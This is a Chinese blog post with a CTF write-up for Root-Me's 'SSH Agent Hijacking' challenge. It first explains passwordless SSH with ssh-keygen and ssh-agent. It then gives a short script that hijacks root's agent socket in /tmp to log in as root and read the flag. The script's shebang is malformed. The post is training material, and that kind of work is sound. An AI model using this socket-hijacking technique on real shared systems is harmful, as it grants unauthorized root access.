CTF-rootme 题解之SSH Agent Hijacking

LINK:https://www.root-me.org/en/Challenges/App-Script/SSH-Agent-Hijacking

Referrence:https://www.cnblogs.com/mondol/p/6400699.html

        https://github.com/Djazouli/RootMeHelp/blob/06d4ad358f43217c12dc8a36dc41ef9cea787f69/AppScript/SSH_Agent_Hijacking.md

 使用admin/admin账号口令远程登陆到目标主机,每隔一分钟,root账户会发送一个广播,内容如下:

Broadcast message from admin@root-me (somewhere) (Thu Mar 28 11:27:02 2019):   

Good Luck !

并且root用户会在/tmp/ssh-*(*号代表随机字符串)目录下创建agent.*文件,例如:/tmp/ssh-QSbtKYZnV2z2/agent.8291

我们需要在root用户创建agent文件到时候使用该文件来验证ssh的私钥密码,并且这个文件生成之后会瞬间就删除掉,所以需要我们使用shell脚本完成解题。

完成解题之前,我们先梳理一下如何创建ssh远程无密码登陆。

第一步:在客户端主机上生成ssh公钥文件

[root@server ~]# ssh-keygen -b 1024 -t rsa
Generating public/private rsa key pair.     #提示正在生成rsa密钥对
Enter file in which to save the key (/home/usrname/.ssh/id_dsa):     #询问公钥和私钥存放的位置,回车用默认位置即可
Enter passphrase (empty for no passphrase):     #询问输入私钥密语,输入密语,如果该密码为空,就可以实现远程无密码登陆,如果设置相应口令,登陆时就需要验证该口令。
Enter same passphrase again:     #再次提示输入密语确认
Your identification has been saved in /home/usrname/.ssh/id_dsa.     #提示公钥和私钥已经存放在/root/.ssh/目录下
Your public key has been saved in /home/usrname/.ssh/id_dsa.pub.
The key fingerprint is:
x6:68:xx:93:98:8x:87:95:7x:2x:4x:x9:81:xx:56:94 root@server     #提示key的指纹 
 

第二步:将客户端主机的ssh公钥文件拷贝到目标主机的~/.ssh/目录下。

scp /root/.ssh/id_dsa.pub root@target_host:/root/.ssh/authorized_keys.

如果第一步没有设置客户端ssh私钥对应的密语的话,我们可以使用ssh root@target_host直接远程登录到目标主机,如果设置了密语就需要我们记住密语,那么我们也可以使用ssh-agent(ssh代理)来帮我们记住这个密语,这样我们就可以实现无密码登陆的功能。

开启ssh-agent:eval `ssh-agent`

在客户端主机配置ssh-agent记住私钥密语。

[root@server ~]# ssh-add ~/.ssh/id_dsa
Enter passphrase for /home/user/.ssh/id_dsa:     #输入你的密码短语
Identity added: /home/user/.ssh/id_dsa (/home/user/.ssh/id_dsa) 
[root@server ~]# ssh-add -l     #查看 ssh代理的缓存内容
1024 72:78:5e:6b:16:fd:f2:8c:81:b1:18:e6:9f:77:6e:be /root/.ssh/id_rsa (RSA)

关闭ssh-agent:ssh-agent -k

查看系统环境变量直接运行ssh-agent。

编写如下解题脚本script.sh

#!/bin/bash/expect -f
cd /tmp/ssh-*
export SSH_AUTH_SOCK=$PWD/$(ls)
ssh root@localhost

当出现Broadcast message.......的提示后,运行source script.sh来运行该脚本,进入root的shell下。如果遇到不成功的情况,尝试rm -rf /tmp/ssh-*之后再重新操作。

 cat /root/.flag得到本题答案。

 

posted @ 2019-03-28 20:17  heycomputer  阅读(3471)  评论(0编辑  收藏  举报